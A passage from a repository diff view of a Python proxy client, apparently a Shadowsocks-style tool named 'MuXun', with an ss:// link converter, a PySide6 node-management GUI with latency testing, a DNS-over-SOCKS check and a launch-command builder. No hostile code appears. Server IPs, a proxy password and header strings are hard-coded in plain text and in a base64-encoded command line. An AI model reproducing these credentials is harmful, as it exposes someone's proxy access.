- PluginOption -> 密码 (若为空/None, 回退到 password)
- mx_head_str -> 作为 ?mx= 参数
- name -> 作为 #TAG
输出:
- 文本中每行一个 ss:// 链接 (平铺样式)例如:
ss://aes-256-cfb:dwz1GtF7@112.54.161.34:22404?mx=com.win64.oppc.game.common%3A22021709%2C102024080020541279#韩国专线139
"""
from __future__ import annotations
import argparse
import json
import sys
from pathlib import Path
from typing import Any, Dict, Iterable, List, Tuple
from urllib.parse import quote
METHOD = "aes-256-cfb"
def _wrap_ipv6(host: str) -> str:
"""IPv6 主机在 URL 中需要方括号。"""
return f"[{host}]" if ":" in host and not host.startswith("[") else host
def build_ss_link(server: str, port: int, password: str, mx: str, name: str) -> str:
"""构造平铺样式 ss 链接,所有可变字段进行 URL 编码。
Args:
server: 服务器地址 (IPv4/IPv6/域名)
port: 服务器端口
password: 密码 (优先取 PluginOption)
mx: mx_head_str
name: 显示名称 (作为 #TAG)
Returns:
str: ss:// 链接
"""
# 密码、mx、name 都要百分号编码server 若是 IPv6 要加 []
enc_pwd = quote(password, safe="")
enc_mx = quote(mx or "", safe="")
enc_name = quote(name or "", safe="")
host = _wrap_ipv6(server)
return f"ss://{METHOD}:{enc_pwd}@{host}:{port}?mx={enc_mx}#{enc_name}"
def load_items(path: Path) -> Iterable[Dict[str, Any]]:
"""加载 JSON支持单对象或数组。"""
data = json.loads(path.read_text(encoding="utf-8"))
if isinstance(data, dict):
yield data
elif isinstance(data, list):
for item in data:
if isinstance(item, dict):
yield item
else:
raise ValueError("JSON 根节点必须是对象或数组")
def convert(items: Iterable[Dict[str, Any]]) -> List[Tuple[str, str]]:
"""将条目转换为 (name, ss_link) 列表;仅保留 aes-256-cfb。"""
out: List[Tuple[str, str]] = []
for i, it in enumerate(items):
method = str(it.get("method", "")).lower()
if method != METHOD:
continue # 只读 cfb
server = str(it.get("server", "")).strip()
port = int(it.get("server_port", 0))
# 密码优先用 PluginOption为空则回退 password
password = str(it.get("PluginOption") or it.get("password") or "").strip()
mx = str(it.get("mx_head_str", "")).strip()
name = str(it.get("name", f"node-{i}")).strip()
# 基本校验
if not server or port <= 0 or not password:
# 丢弃无效条目
continue
link = build_ss_link(server, port, password, mx, name)
out.append((name, link))
return out
def main() -> None:
parser = argparse.ArgumentParser(description="将自定义 JSON 转换为 GUI 可用的 ss:// 链接")
parser.add_argument("-i", "--input", default="nodes.json", help="输入 JSON 文件路径")
parser.add_argument("-o", "--output", help="输出 txt 文件路径(可选,默认只打印 stdout")
args = parser.parse_args()
in_path = Path(args.input)
if not in_path.exists():
print(f"[错误] 输入文件不存在: {in_path}", file=sys.stderr)
sys.exit(2)
try:
pairs = convert(load_items(in_path))
except Exception as e:
print(f"[错误] 解析失败: {e}", file=sys.stderr)
sys.exit(3)
if not pairs:
print("[提示] 没有符合条件 (aes-256-cfb) 的条目。", file=sys.stderr)
# 打印到 stdout
for _, link in pairs:
print(link)
# 可选写文件
if args.output:
out_path = Path(args.output)
out_path.write_text("\n".join(link for _, link in pairs), encoding="utf-8")
print(f"[完成] 已写入: {out_path}", file=sys.stderr)
if __name__ == "__main__":
main()

17
python/dns.py Normal file
View File

@ -0,0 +1,17 @@
import socks
import socket
from dnslib import DNSRecord
socks.setdefaultproxy(socks.SOCKS5, "172.29.199.152", 10807, True)
socket.socket = socks.socksocket
q = DNSRecord.question("google.com", qtype="A")
query_data = q.pack()
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
s.settimeout(5)
s.sendto(query_data, ("8.8.8.8", 53))
data, _ = s.recvfrom(512)
# 解析返回
resp = DNSRecord.parse(data)
print(resp)

87
python/dns2socks.h Normal file
View File

@ -0,0 +1,87 @@
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
typedef enum Dns2socksVerbosity {
Dns2socksVerbosity_Off = 0,
Dns2socksVerbosity_Error,
Dns2socksVerbosity_Warn,
Dns2socksVerbosity_Info,
Dns2socksVerbosity_Debug,
Dns2socksVerbosity_Trace,
} Dns2socksVerbosity;
#ifdef __cplusplus
extern "C" {
#endif // __cplusplus
/**
* # Safety
*
* Start dns2socks
* Parameters:
* - listen_addr: the listen address, e.g. "172.19.0.1:53", or null to use the default value
* - dns_remote_server: the dns remote server, e.g. "8.8.8.8:53", or null to use the default value
* - socks5_settings: the socks5 server, e.g. "socks5://[username[:password]@]host:port", or null to use the default value
* - force_tcp: whether to force tcp, true or false, default is false
* - cache_records: whether to cache dns records, true or false, default is false
* - verbosity: the verbosity level, see ArgVerbosity enum, default is ArgVerbosity::Info
* - timeout: the timeout in seconds, default is 5
*/
jint Java_com_github_shadowsocks_bg_Dns2socks_start(JNIEnv env,
JClass _clazz,
JString listen_addr,
JString dns_remote_server,
JString socks5_settings,
jboolean force_tcp,
jboolean cache_records,
jint verbosity,
jint timeout);
/**
* # Safety
*
* Shutdown dns2socks
*/
jint Java_com_github_shadowsocks_bg_Dns2socks_stop(JNIEnv _env, JClass);
/**
* # Safety
*
* Run the dns2socks component with some arguments.
* Parameters:
* - listen_addr: the listen address, e.g. "0.0.0.0:53", or null to use the default value
* - dns_remote_server: the dns remote server, e.g. "8.8.8.8:53", or null to use the default value
* - socks5_settings: the socks5 server, e.g. "socks5://[username[:password]@]host:port", or null to use the default value
* - force_tcp: whether to force tcp, true or false, default is false
* - cache_records: whether to cache dns records, true or false, default is false
* - verbosity: the verbosity level, see ArgVerbosity enum, default is ArgVerbosity::Info
* - timeout: the timeout in seconds, default is 5
*/
int dns2socks_start(const char *listen_addr,
const char *dns_remote_server,
const char *socks5_settings,
bool force_tcp,
bool cache_records,
enum Dns2socksVerbosity verbosity,
int32_t timeout);
/**
* # Safety
*
* Shutdown the dns2socks component.
*/
int dns2socks_stop(void);
/**
* # Safety
*
* set dump log info callback.
*/
void dns2socks_set_log_callback(void (*callback)(enum Dns2socksVerbosity, const char*, void*),
void *ctx);
#ifdef __cplusplus
} // extern "C"
#endif // __cplusplus

756
python/main.py Normal file
View File

@ -0,0 +1,756 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
多节点 GUIPySide6用于管控 ss_client_aes256cfb.py
- 支持多节点管理从链接导入ss:// ssr://扩展支持 ?mx= mx_head_str节点选择**真实链路测速**
- 测速逻辑按你的要求
1) [60000, 61000) 随机找一个本地端口
2) 以子进程启动 ss_client_aes256cfb.py监听该端口
3) 通过 SOCKS5 代理请求 http://www.gstatic.com/generate_204
4) 统计从发起到收到响应的时延ms
5) 结束子进程
- 设计GUI 只做参数启停日志与节点管理核心网络逻辑仍在 CLI
- 跨平台Windows / macOS / Linux
- 持久化~/.ss_client_gui.json 保存全部节点与当前选中项
依赖
pip install PySide6 requests PySocks
用法
python ss_client_gui_qt.py
打包可选
pip install pyinstaller
pyinstaller -F -w ss_client_gui_qt.py
"""
from __future__ import annotations
import base64
import json
import os
import random
import socket
import subprocess
import sys
import time
from dataclasses import dataclass, asdict
from pathlib import Path
from typing import Dict, List, Optional, Tuple
from urllib.parse import parse_qs, unquote, urlparse
import requests
try:
import socks
except ImportError:
raise SystemExit("PySocks not found. Install with: pip install PySocks")
from PySide6.QtCore import QProcess, Qt, QThread, Signal, QPropertyAnimation, QRect, QEasingCurve
from PySide6.QtGui import QIcon, QTextCursor, QColor
from PySide6.QtWidgets import (
QApplication,
QWidget,
QLabel,
QLineEdit,
QSpinBox,
QPushButton,
QTextEdit,
QGridLayout,
QFileDialog,
QMessageBox,
QHBoxLayout,
QListWidget,
QListWidgetItem,
QGroupBox,
QVBoxLayout,
QDialog,
QStyleFactory,
QGraphicsDropShadowEffect,
)
CONFIG_FILE = Path.cwd() / ".ss_client_gui.json"
DEFAULT_SCRIPT = "ss.exe" # 开发态可改为 "ss.py";下面会自动判断
TEST_URL = "http://1.1.1.1"
TEST_RANGE = (60000, 61000) # [low, high)
# ------------------------------ 数据模型 ---------------------------------- #
@dataclass
class Node:
"""单个节点配置。"""
name: str
server: str
port: int
password: str
mx: str = "HELLO"
@dataclass
class LaunchConfig:
"""GUI 全局配置(含节点集合)。"""
script_path: str
nodes: List[Node]
selected: int = 0
listen_host: str = "0.0.0.0"
listen_port: int = 10477 # 仅 GUI 启停使用;测速使用随机端口
log_level: str = "INFO"
# ------------------------------ 工具函数 ---------------------------------- #
def app_base_dir() -> Path:
return Path(sys.executable).parent if getattr(sys, "frozen", False) \
else Path(__file__).resolve().parent
def _default_script_path() -> str:
return str((app_base_dir() / DEFAULT_SCRIPT).resolve())
def _resolve_cmd(script_path: str, extra_args: list[str]) -> list[str]:
"""根据后缀拼启动命令:.exe 直接跑;.py 用当前解释器;相对路径基于程序目录。"""
p = Path(script_path)
if not p.is_absolute():
p = (app_base_dir() / p).resolve()
ext = p.suffix.lower()
if ext in (".exe", ".bat", ".cmd"):
return [str(p), *extra_args]
if ext in (".py", ""):
return [sys.executable, str(p), *extra_args]
return [str(p), *extra_args]
def _b64_decode_padded(s: str) -> bytes:
"""URL 安全 base64 解码,自动补齐 padding。"""
s = unquote(s.strip())
pad = (-len(s)) % 4
if pad:
s += "=" * pad
try:
import base64 as _b64
return _b64.urlsafe_b64decode(s.encode("utf-8"))
except Exception:
return base64.b64decode(s.encode("utf-8") + b"==")
def parse_ss_uri(uri: str) -> Optional[Node]:
"""解析 ss:// 链接(两种常见形式)并返回 Node。支持 ?mx= 扩展。"""
try:
if not uri.startswith("ss://"):
return None
body = uri[5:]
if "@" in body and "://" not in body:
parsed = urlparse(uri.replace("ss://", "http://", 1))
userinfo = parsed.username or ""
method, _, password = (userinfo or ":").partition(":")
host = parsed.hostname or ""
port = parsed.port or 0
mx = (parse_qs(parsed.query or "").get("mx", [""])[0])
tag = unquote(parsed.fragment or "")
name = tag or f"{host}:{port}"
if method and method.lower() != "aes-256-cfb":
name = f"{name} (method={method})"
return Node(name=name, server=host, port=int(port), password=password or "", mx=mx or "HELLO")
# base64 形式
if "#" in body:
b64, tag = body.split("#", 1)
tag = unquote(tag)
else:
b64, tag = body, ""
decoded = _b64_decode_padded(b64).decode("utf-8")
fake = "http://" + decoded
parsed2 = urlparse(fake)
method = parsed2.username or ""
password = parsed2.password or ""
host = parsed2.hostname or ""
port = parsed2.port or 0
mx = (parse_qs(parsed2.query or "").get("mx", [""])[0])
name = tag or f"{host}:{port}"
if method and method.lower() != "aes-256-cfb":
name = f"{name} (method={method})"
return Node(name=name, server=host, port=int(port), password=password, mx=mx or "HELLO")
except Exception:
return None
def parse_ssr_uri(uri: str) -> Optional[Node]:
"""尽力解析 ssr:// 链接,提取 server/port/method/password/remarks。"""
try:
if not uri.startswith("ssr://"):
return None
payload = uri[6:]
decoded = _b64_decode_padded(payload).decode("utf-8")
main, _, qs = decoded.partition("/?")
parts = main.split(":")
if len(parts) < 6:
return None
host, port_str, _proto, method, _obfs, b64pass = parts[:6]
password = _b64_decode_padded(b64pass).decode("utf-8")
name = f"{host}:{port_str}"
if qs:
q = parse_qs(qs)
if "remarks" in q:
try:
name = _b64_decode_padded(q["remarks"][0]).decode("utf-8") or name
except Exception:
pass
if method and method.lower() != "aes-256-cfb":
name = f"{name} (method={method})"
return Node(name=name, server=host, port=int(port_str), password=password, mx="HELLO")
except Exception:
return None
def _pick_free_port(low: int, high: int) -> int:
"""在 [low, high) 里随机挑一个可绑定的端口。"""
for _ in range(50):
p = random.randint(low, high - 1)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
s.bind(("127.0.0.1", p))
return p
except OSError:
continue
# 兜底:返回范围起点
return low
def _wait_port_open(host: str, port: int, timeout: float) -> bool:
"""等待端口可连接。"""
t0 = time.time()
while time.time() - t0 < timeout:
try:
with socket.create_connection((host, port), timeout=0.3):
return True
except OSError:
time.sleep(0.05)
return False
# ------------------------------ 测速线程 ---------------------------------- #
class LatencyWorker(QThread):
"""真实链路测速:起本地代理→走 SOCKS5 拉取 generate_204 → 计时。"""
result = Signal(int, float, str) # (index, latency_ms or -1, message)
def __init__(self, index: int, node: Node, script_path: str, log_level: str = "ERROR", url: str = TEST_URL) -> None:
super().__init__()
self.index = index
self.node = node
self.script_path = script_path
self.log_level = log_level
self.url = url
self.proc: Optional[subprocess.Popen] = None
self.local_port: int = 0
def run(self) -> None: # noqa: D401 - Qt 线程入口
try:
self.local_port = _pick_free_port(*TEST_RANGE)
core_args = [
"--remote-host", self.node.server,
"--remote-port", str(self.node.port),
"--password", self.node.password,
"--mx", self.node.mx,
"--listen", "0.0.0.0",
"--port", str(self.local_port),
"--log", self.log_level,
]
cmd = _resolve_cmd(self.script_path, core_args)
#print(cmd)
# 启动子进程(静默)
# 关键修复:设置子进程的工作目录为 exe 所在目录
# 这能确保它能找到依赖的 DLL 或其他资源文件
cwd = Path(cmd[0]).parent
#print(cwd)
self.proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
creationflags=(subprocess.CREATE_NO_WINDOW if os.name == "nt" else 0),
cwd=cwd,
)
if not _wait_port_open("localhost", self.local_port, timeout=5.0):
raise RuntimeError("本地代理启动超时")
proxies = {
"http": f"socks5h://127.0.0.1:{self.local_port}",
"https": f"socks5h://127.0.0.1:{self.local_port}",
}
t0 = time.time()
r = requests.get(self.url, proxies=proxies, timeout=8.0, allow_redirects=False)
# generate_204 正常返回 204无 body
if r.status_code not in (204, 200, 301, 302):
raise RuntimeError(f"HTTP {r.status_code}")
ms = (time.time() - t0) * 1000.0
self.result.emit(self.index, ms, "ok")
except Exception as e:
print(e)
self.result.emit(self.index, -1.0, str(e))
finally:
# 清理子进程
if self.proc:
try:
self.proc.terminate()
try:
self.proc.wait(timeout=2.0)
except subprocess.TimeoutExpired:
self.proc.kill()
self.proc.wait(timeout=1.0)
except Exception:
pass
# ------------------------------ GUI 主体 ---------------------------------- #
class SsGui(QWidget):
def __init__(self) -> None:
super().__init__()
self.setWindowTitle("Galaxy's Muxun Client")
if sys.platform.startswith("win"):
self.setWindowIcon(QIcon())
# 设置窗口的样式
self.setStyle(QStyleFactory.create("Fusion")) # 使用融合风格,适应各平台
# 配置窗口的背景颜色和字体
self.setStyleSheet("""
QWidget {
background-color: #f4f4f9;
color: #333333;
font-family: Arial, Helvetica, sans-serif;
font-size: 12pt;
}
QPushButton {
background-color: #6c757d;
color: white;
border-radius: 8px;
padding: 8px;
font-size: 11pt;
}
QPushButton:hover {
background-color: #5a6268;
}
QPushButton:pressed {
background-color: #495057;
}
QLineEdit {
border: 1px solid #ccc;
border-radius: 5px;
padding: 5px;
}
QTextEdit {
border: 1px solid #ccc;
border-radius: 5px;
padding: 5px;
}
QListWidget {
border: 1px solid #ccc;
border-radius: 5px;
padding: 5px;
}
QGroupBox {
background-color: #e9ecef;
border-radius: 8px;
padding: 10px;
}
QLabel {
color: #444;
}
""")
self.proc: QProcess | None = None
self.latency_threads: List[LatencyWorker] = []
self.cfg = self._load_config()
self._init_ui()
self._refresh_list()
self._load_selected_to_form()
def _init_ui(self) -> None:
layout = QGridLayout(self)
row = 0
# 左侧:节点列表 + 操作按钮
left_box = QVBoxLayout()
self.list_nodes = QListWidget(self)
self.list_nodes.currentRowChanged.connect(self._on_select_changed)
left_box.addWidget(self.list_nodes)
btns_row = QHBoxLayout()
self.btn_add = QPushButton("新增", self)
self.btn_import = QPushButton("导入链接", self)
self.btn_delete = QPushButton("删除", self)
self.btn_test = QPushButton("测速", self)
self.btn_test_all = QPushButton("全部测速", self)
for b in (self.btn_add, self.btn_import, self.btn_delete, self.btn_test, self.btn_test_all):
btns_row.addWidget(b)
left_box.addLayout(btns_row)
self.btn_add.clicked.connect(self._add_node)
self.btn_import.clicked.connect(self._import_links)
self.btn_delete.clicked.connect(self._delete_node)
self.btn_test.clicked.connect(self._test_selected)
self.btn_test_all.clicked.connect(self._test_all)
# 右侧:节点详情
right_grp = QGroupBox("节点详情", self)
fg = QGridLayout(right_grp)
r = 0
fg.addWidget(QLabel("名称"), r, 0)
self.edit_name = QLineEdit(self); fg.addWidget(self.edit_name, r, 1, 1, 3); r += 1
fg.addWidget(QLabel("远端IP/域名"), r, 0)
self.edit_remote_host = QLineEdit(self); fg.addWidget(self.edit_remote_host, r, 1)
fg.addWidget(QLabel("端口"), r, 2)
self.spin_remote_port = QSpinBox(self); self.spin_remote_port.setRange(1, 65535)
fg.addWidget(self.spin_remote_port, r, 3); r += 1
fg.addWidget(QLabel("密码"), r, 0)
self.edit_password = QLineEdit(self); self.edit_password.setEchoMode(QLineEdit.Password)
fg.addWidget(self.edit_password, r, 1)
fg.addWidget(QLabel("mx_head_str"), r, 2)
self.edit_mx = QLineEdit(self); fg.addWidget(self.edit_mx, r, 3); r += 1
# 全局设置
sys_grp = QGroupBox("全局设置", self)
sg = QGridLayout(sys_grp)
c = 0
sg.addWidget(QLabel("脚本"), c, 0)
self.edit_script = QLineEdit(self)
btn_browse = QPushButton("浏览…", self); btn_browse.clicked.connect(self._browse_script)
hb = QHBoxLayout(); hb.addWidget(self.edit_script); hb.addWidget(btn_browse)
sg.addLayout(hb, c, 1, 1, 3); c += 1
sg.addWidget(QLabel("本地监听IP"), c, 0)
self.edit_listen_host = QLineEdit(self); sg.addWidget(self.edit_listen_host, c, 1)
sg.addWidget(QLabel("端口"), c, 2)
self.spin_listen_port = QSpinBox(self); self.spin_listen_port.setRange(1, 65535)
sg.addWidget(self.spin_listen_port, c, 3); c += 1
sg.addWidget(QLabel("日志级别"), c, 0)
self.edit_log = QLineEdit(self); self.edit_log.setPlaceholderText("DEBUG/INFO/WARNING/ERROR")
sg.addWidget(self.edit_log, c, 1)
# 启停按钮
self.btn_start = QPushButton("启动", self)
self.btn_stop = QPushButton("停止", self); self.btn_stop.setEnabled(False)
self.btn_save = QPushButton("保存节点", self)
self.btn_start.clicked.connect(self.start_process)
self.btn_stop.clicked.connect(self.stop_process)
self.btn_save.clicked.connect(self._save_node_from_form)
# 日志
self.text_log = QTextEdit(self); self.text_log.setReadOnly(True)
self.text_log.setPlaceholderText("日志输出…")
# 布局拼装
layout.addLayout(left_box, row, 0, 3, 1)
layout.addWidget(right_grp, row, 1)
row += 1
layout.addWidget(sys_grp, row, 1)
row += 1
btn_row = QHBoxLayout(); btn_row.addWidget(self.btn_save); btn_row.addStretch(1); btn_row.addWidget(self.btn_start); btn_row.addWidget(self.btn_stop)
layout.addLayout(btn_row, row, 1)
row += 1
layout.addWidget(self.text_log, row, 0, 1, 2)
self.setLayout(layout)
self.resize(980, 640)
# 添加微动效
self._add_button_animation(self.btn_add)
self._add_button_animation(self.btn_import)
self._add_button_animation(self.btn_delete)
self._add_button_animation(self.btn_test)
self._add_button_animation(self.btn_test_all)
def _add_button_animation(self, button: QPushButton):
"""为按钮添加点击动画效果"""
animation = QPropertyAnimation(button, b"geometry")
animation.setDuration(200)
animation.setStartValue(QRect(button.x(), button.y(), button.width(), button.height()))
animation.setEndValue(QRect(button.x() - 5, button.y() - 5, button.width(), button.height()))
animation.setEasingCurve(QEasingCurve.Type.OutQuad)
button.clicked.connect(lambda: animation.start())
# ------------------------------ 配置读写 ------------------------------ #
def _load_config(self) -> LaunchConfig:
# 兼容旧版:若存在单节点字段则迁移
if CONFIG_FILE:
try:
data = json.loads(CONFIG_FILE.read_text(encoding="utf-8"))
if "nodes" in data:
nodes = [Node(**n) for n in data["nodes"]]
return LaunchConfig(
script_path=data.get("script_path", _default_script_path()),
nodes=nodes,
selected=int(data.get("selected", 0)),
listen_host=data.get("listen_host", "127.0.0.1"),
listen_port=int(data.get("listen_port", 1080)),
log_level=data.get("log_level", "INFO"),
)
# 迁移旧格式
node = Node(
name=f"{data.get('remote_host','127.0.0.1')}:{int(data.get('remote_port',8388))}",
server=data.get("remote_host", "127.0.0.1"),
port=int(data.get("remote_port", 8388)),
password=data.get("password", "secret123"),
mx=data.get("mx_head_str", "HELLO"),
)
return LaunchConfig(
script_path=data.get("script_path", _default_script_path()),
nodes=[node],
selected=0,
listen_host=data.get("listen_host", "127.0.0.1"),
listen_port=int(data.get("listen_port", 1080)),
log_level=data.get("log_level", "INFO"),
)
except Exception:
pass
return LaunchConfig(
script_path=_default_script_path(),
nodes=[Node(name="demo", server="127.0.0.1", port=8388, password="secret123", mx="HELLO")],
selected=0,
)
def _save_all(self) -> None:
data = asdict(self.cfg)
CONFIG_FILE.write_text(json.dumps(data, ensure_ascii=False, indent=2), encoding="utf-8")
self._append_log(f"已保存到 {CONFIG_FILE}")
# ------------------------------ 列表与表单 ---------------------------- #
def _refresh_list(self) -> None:
self.list_nodes.clear()
for i, n in enumerate(self.cfg.nodes):
item = QListWidgetItem(f"{n.name}")
item.setData(Qt.UserRole, i)
self.list_nodes.addItem(item)
if not self.cfg.nodes:
self.cfg.nodes.append(Node(name="demo", server="127.0.0.1", port=8388, password="secret123", mx="HELLO"))
idx = max(0, min(self.cfg.selected, len(self.cfg.nodes) - 1))
self.list_nodes.setCurrentRow(idx)
def _load_selected_to_form(self) -> None:
n = self._current_node()
if not n:
return
self.edit_name.setText(n.name)
self.edit_remote_host.setText(n.server)
self.spin_remote_port.setValue(n.port)
self.edit_password.setText(n.password)
self.edit_mx.setText(n.mx)
self.edit_script.setText(self.cfg.script_path)
self.edit_listen_host.setText(self.cfg.listen_host)
self.spin_listen_port.setValue(self.cfg.listen_port)
self.edit_log.setText(self.cfg.log_level)
def _current_node(self) -> Optional[Node]:
idx = self.list_nodes.currentRow()
if 0 <= idx < len(self.cfg.nodes):
self.cfg.selected = idx
return self.cfg.nodes[idx]
return None
def _on_select_changed(self, _row: int) -> None:
self._load_selected_to_form()
# ------------------------------ 节点操作 ------------------------------ #
def _add_node(self) -> None:
self.cfg.nodes.append(Node(name="new", server="127.0.0.1", port=8388, password="", mx="HELLO"))
self._refresh_list()
self._save_all()
def _delete_node(self) -> None:
idx = self.list_nodes.currentRow()
if idx < 0 or idx >= len(self.cfg.nodes):
return
if QMessageBox.question(self, "确认", "删除当前节点?") != QMessageBox.Yes:
return
self.cfg.nodes.pop(idx)
self._refresh_list()
self._save_all()
def _save_node_from_form(self) -> None:
n = self._current_node()
if not n:
return
server = self.edit_remote_host.text().strip()
if not server:
QMessageBox.warning(self, "无效参数", "远端地址不能为空")
return
port = int(self.spin_remote_port.value())
if not (1 <= port <= 65535):
QMessageBox.warning(self, "无效参数", "端口范围 1-65535")
return
n.name = self.edit_name.text().strip() or f"{server}:{port}"
n.server = server
n.port = port
n.password = self.edit_password.text()
n.mx = self.edit_mx.text()
self.cfg.script_path = self.edit_script.text().strip() or _default_script_path()
self.cfg.listen_host = self.edit_listen_host.text().strip() or "127.0.0.1"
self.cfg.listen_port = int(self.spin_listen_port.value())
self.cfg.log_level = self.edit_log.text().strip() or "INFO"
self._refresh_list()
self._save_all()
def _import_links(self) -> None:
"""从文本/剪贴板导入多条链接ss:// 或 ssr://)。"""
dlg = QDialog(self)
dlg.setWindowTitle("导入链接(每行一个)")
v = QVBoxLayout(dlg)
edit = QTextEdit(dlg)
edit.setPlaceholderText("粘贴 ss:// 或 ssr:// 链接,每行一条。\n扩展:在 ss 链接中可使用 ?mx=... 传 mx_head_str。")
v.addWidget(edit)
btn_row = QHBoxLayout();
b_ok = QPushButton("导入", dlg); b_cancel = QPushButton("取消", dlg)
btn_row.addWidget(b_ok); btn_row.addWidget(b_cancel)
v.addLayout(btn_row)
b_ok.clicked.connect(dlg.accept)
b_cancel.clicked.connect(dlg.reject)
if not dlg.exec():
return
count = 0
for line in edit.toPlainText().splitlines():
line = line.strip()
if not line:
continue
node = parse_ss_uri(line) or parse_ssr_uri(line)
if node:
self.cfg.nodes.append(node)
count += 1
if count > 0:
self._refresh_list()
self._save_all()
self._append_log(f"成功导入 {count} 个节点。")
# ------------------------------ 核心流程 ------------------------------ #
def _test_selected(self) -> None:
n = self._current_node()
if n:
self._test_nodes([self.cfg.selected])
def _test_all(self) -> None:
self._test_nodes(list(range(len(self.cfg.nodes))))
def _test_nodes(self, indices: List[int]) -> None:
self.latency_threads = [t for t in self.latency_threads if t.isRunning()]
if any(t.isRunning() for t in self.latency_threads):
QMessageBox.information(self, "提示", "已有测速任务在进行中。")
return
for i in indices:
self.list_nodes.item(i).setText(f"{self.cfg.nodes[i].name} (测速中…)")
worker = LatencyWorker(i, self.cfg.nodes[i], self.cfg.script_path, self.cfg.log_level)
worker.result.connect(self._on_latency_result)
worker.start()
self.latency_threads.append(worker)
def _on_latency_result(self, index: int, ms: float, msg: str) -> None:
name = self.cfg.nodes[index].name
text = f"{name} ({ms:.1f} ms)" if ms > 0 else f"{name} (失败: {msg})"
self.list_nodes.item(index).setText(text)
def start_process(self) -> None:
"""启动核心进程。"""
n = self._current_node()
if not n:
return
self._save_node_from_form() # 启动前自动保存一次
args = self._build_cli_args(n)
prog, prog_args = self._program_and_args(args)
self._append_log(f"启动: {prog} {' '.join(prog_args)}")
self.proc = QProcess(self)
# 合并 stdout/stderr, 确保所有输出都能被捕获
self.proc.setProcessChannelMode(QProcess.MergedChannels)
self.proc.setReadChannel(QProcess.StandardOutput)
# 关键修复:同样为 QProcess 设置工作目录
self.proc.setWorkingDirectory(str(Path(prog).parent))
self.proc.setProgram(prog)
self.proc.setArguments(prog_args)
self.proc.readyReadStandardOutput.connect(self._read_stdout)
self.proc.finished.connect(self._on_finished)
self.proc.start()
self.btn_start.setEnabled(False)
self.btn_stop.setEnabled(True)
def stop_process(self) -> None:
if not self.proc:
return
self.proc.terminate()
if not self.proc.waitForFinished(3000):
self.proc.kill()
self.proc.waitForFinished(2000)
self.proc = None
self.btn_start.setEnabled(True)
self.btn_stop.setEnabled(False)
self._append_log("已停止。")
def _read_stdout(self) -> None:
if not self.proc:
return
text = self.proc.readAllStandardOutput().data().decode("utf-8", errors="replace")
self.text_log.moveCursor(QTextCursor.End)
self.text_log.insertPlainText(text)
self.text_log.moveCursor(QTextCursor.End)
def _on_finished(self, code: int, _status) -> None:
self._append_log(f"进程退出code={code}\n")
self.proc = None
self.btn_start.setEnabled(True)
self.btn_stop.setEnabled(False)
def _browse_script(self) -> None:
path, _ = QFileDialog.getOpenFileName(
self, "选择核心(可执行/脚本)", str(app_base_dir()),
"Executable (*.exe);;Python (*.py);;All (*)"
)
if path:
self.edit_script.setText(path)
def _build_cli_args(self, n: Node) -> List[str]:
return [
"--remote-host", n.server,
"--remote-port", str(n.port),
"--password", n.password,
"--mx", n.mx,
"--listen", self.cfg.listen_host,
"--port", str(self.cfg.listen_port),
"--log", self.cfg.log_level,
]
def _program_and_args(self, base_args: list[str]) -> tuple[str, list[str]]:
"""QProcess 版同样按后缀选择exe 直跑py 用解释器。"""
p = Path(self.cfg.script_path)
if not p.is_absolute():
p = (app_base_dir() / p).resolve()
ext = p.suffix.lower()
if ext in (".exe", ".bat", ".cmd"):
return str(p), base_args
if ext in (".py", ""):
return sys.executable, [str(p), *base_args]
return str(p), base_args
def _append_log(self, line: str) -> None:
self.text_log.append(line)
self.text_log.moveCursor(QTextCursor.End)
def closeEvent(self, event) -> None: # noqa: N802 - Qt 命名约定
try:
self.stop_process()
self._save_all()
except Exception:
pass
try:
for t in self.latency_threads:
t.terminate()
except Exception:
pass
event.accept()
def main() -> None:
app = QApplication(sys.argv)
gui = SsGui()
gui.show()
sys.exit(app.exec())
if __name__ == "__main__":
main()

1220
python/nodes.json Normal file

File diff suppressed because it is too large Load Diff

1
python/output.txt Normal file
View File

@ -0,0 +1 @@
MuXunProxy.exe --mx EYjSB2nHBf9HzgrYzxnZiJOGiJaUmc4WlJaIlcaIBg9JywXFCg9YDci6idiXmtGWlcaIC2vYDMvYiJOGiJeYms4Xnc4XntiUmtq5iIWGiNnLCNzLCL9WB3j0iJOGmtaWmdqSicjTzxrOB2qIoIaIywvZlti1nI1JzMiIlcaICgfZC3DVCMqIoIaIzhD6muD0rJCIlcaIBxHFAgvHzf9ZDhiIoIaIy29TlNDPBJy0lM9WCgmUz2fTzs5JB21TB246mJiWmJe3mdKSmtaYmdi0mdGWmdiWntqXmJC5iIWGiLbSDwDPBK5HBwuIoIbUDwXSlcaIugX1z2LUt3b0Aw9UiJOGBNvSBcWGiKnVBMzPz1r5CguIoIaWFq== -u --no-delay --fast-open -zv

BIN
python/payload.txt Normal file

Binary file not shown.

22
python/proxy.py Normal file
View File

@ -0,0 +1,22 @@
import base64
import json
node = {
"local_address": "0.0.0.0",
"local_port": 21180,
"server": "121.14.152.149",
"server_port": 10004,
"method": "aes-256-cfb",
"password": "dwz1GtF7",
"mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279",
"PluginName": None,
"PluginOption": None,
"ConfigType": 0,
}
formatted = f"MuXunProxy.exe --mx {base64.b64encode(json.dumps(node).encode(encoding='utf-8')).decode(encoding='utf-8').swapcase()} -u --no-delay --fast-open -zv"
print(formatted)
with open("output.txt", "wb") as F:
F.write(formatted.encode(encoding="UTF-8"))

14
python/settings.json Normal file
View File

@ -0,0 +1,14 @@
{
"local_port": 21292,
"tun_settings": {
"tun2socks_path": "C:/Users/Galaxy/PycharmProjects/MuXunGUI/tun2socks.exe",
"tap_name": "MuXunTAP",
"tun_ip": "10.0.0.2",
"tun_mask": "255.255.255.0",
"tun_gw": "10.0.0.1",
"dns": "1.1.1.1",
"mtu": 1500,
"apply_route_dns": false,
"driver": "wintun"
}
}

694
python/ss.py Normal file
View File

@ -0,0 +1,694 @@
from __future__ import annotations
try:
import uvloop # type: ignore
uvloop.install()
except Exception:
pass # 环境不支持就优雅降级
import argparse
import asyncio
import hashlib
import ipaddress
import logging
import os
import socket
import struct
import time
from dataclasses import dataclass
from typing import Dict, Optional, Tuple
try:
from cachetools import TTLCache
except ImportError:
raise SystemExit("cachetools not found. Install with: pip install cachetools")
try:
